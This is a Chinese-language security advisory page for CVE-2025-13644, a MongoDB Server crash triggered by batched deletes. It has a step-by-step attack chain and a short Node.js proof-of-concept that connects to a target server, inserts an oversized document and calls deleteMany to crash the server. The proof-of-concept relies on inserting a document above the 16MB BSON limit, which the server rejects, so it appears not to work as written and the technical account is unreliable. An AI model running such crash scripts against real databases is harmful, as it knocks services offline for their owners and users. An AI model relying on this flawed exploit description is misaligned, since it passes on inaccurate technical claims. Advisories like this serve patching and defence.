IPBUF安全漏洞报告
English
CVE-2025-13644 CVSS 6.5 中危

CVE-2025-13644 MongoDB Server批处理删除操作 invariant failure拒绝服务漏洞

披露日期: 2025-11-25

漏洞信息

漏洞编号
CVE-2025-13644
漏洞类型
拒绝服务
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
MongoDB Server

相关标签

MongoDB拒绝服务Invariant FailureBatched DeleteBSONObjMaxSize数据库漏洞CVE-2025-13644

漏洞概述

CVE-2025-13644是MongoDB Server中的一个拒绝服务漏洞,CVSS评分6.5(中危)。该漏洞源于MongoDB Server在执行批处理删除操作时的不当假设。当服务器仅基于文档大小超过BSONObjMaxSize就错误地假设批处理中存在多个文档时,会导致invariant failure(不变量验证失败),从而引发服务器崩溃。此漏洞影响MongoDB Server v7.0、v8.0和v8.1三个主要版本系列。攻击者可通过网络远程利用此漏洞,无需高级权限即可触发,导致目标MongoDB服务的可用性受到严重影响。

技术细节

MongoDB Server在处理batched delete operations时存在逻辑缺陷。当单个文档的大小超过BSONObjMaxSize(16MB)限制时,服务器错误地推断批处理中包含多个文档而非单个超大文档。这种基于文档大小的错误假设导致不变量检查失败(invariant failure),使服务器进程异常终止。攻击者可通过构造包含超大文档的删除操作请求来触发此漏洞。由于CVSS向量的可用性影响为高(H),攻击成功将导致MongoDB服务完全不可用,造成严重的业务中断。

攻击链分析

STEP 1
Reconnaissance
攻击者识别目标MongoDB Server版本,确认版本属于受影响范围(v7.0<7.0.26, v8.0<8.0.13, v8.1<8.1.2)
STEP 2
Authentication
攻击者获取低权限MongoDB用户凭据(PR:L要求)
STEP 3
Payload Preparation
攻击者构造或插入一个大小超过BSONObjMaxSize(16MB)的超大文档
STEP 4
Exploitation
攻击者对包含超大文档的集合执行deleteMany等批处理删除操作
STEP 5
Trigger Invariant Failure
服务器基于文档大小错误假设批处理包含多个文档,触发不变量验证失败
STEP 6
Denial of Service
MongoDB Server进程崩溃,服务可用性完全丧失(A:H高影响)

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-13644 PoC - MongoDB Batched Delete Invariant Failure // Target: MongoDB Server < 7.0.26, < 8.0.13, < 8.1.2 const { MongoClient } = require('mongodb'); async function triggerVulnerability() { const uri = 'mongodb://target:27017'; const client = new MongoClient(uri); try { await client.connect(); const db = client.db('test'); const collection = db.collection('target_collection'); // Create a document exceeding BSONObjMaxSize (16MB) const largeData = 'A'.repeat(17 * 1024 * 1024); // ~17MB await collection.insertOne({ _id: 'large_doc', data: largeData }); // Attempt batched delete operation to trigger invariant failure // This will cause the server to assume multiple docs based on size await collection.deleteMany({ _id: 'large_doc' }); console.log('PoC executed'); } catch (error) { console.log('Vulnerability triggered or error:', error.message); } finally { await client.close(); } } triggerVulnerability();

影响范围

MongoDB Server v7.0 < 7.0.26
MongoDB Server v8.0 < 8.0.13
MongoDB Server v8.1 < 8.1.2

防御指南

临时缓解措施
立即将MongoDB Server升级到修复版本(v7.0.26/v8.0.13/v8.1.2)。如无法立即升级,可限制低权限用户对集合的删除操作权限,监控异常大批量删除请求,并启用审计日志追踪可疑操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表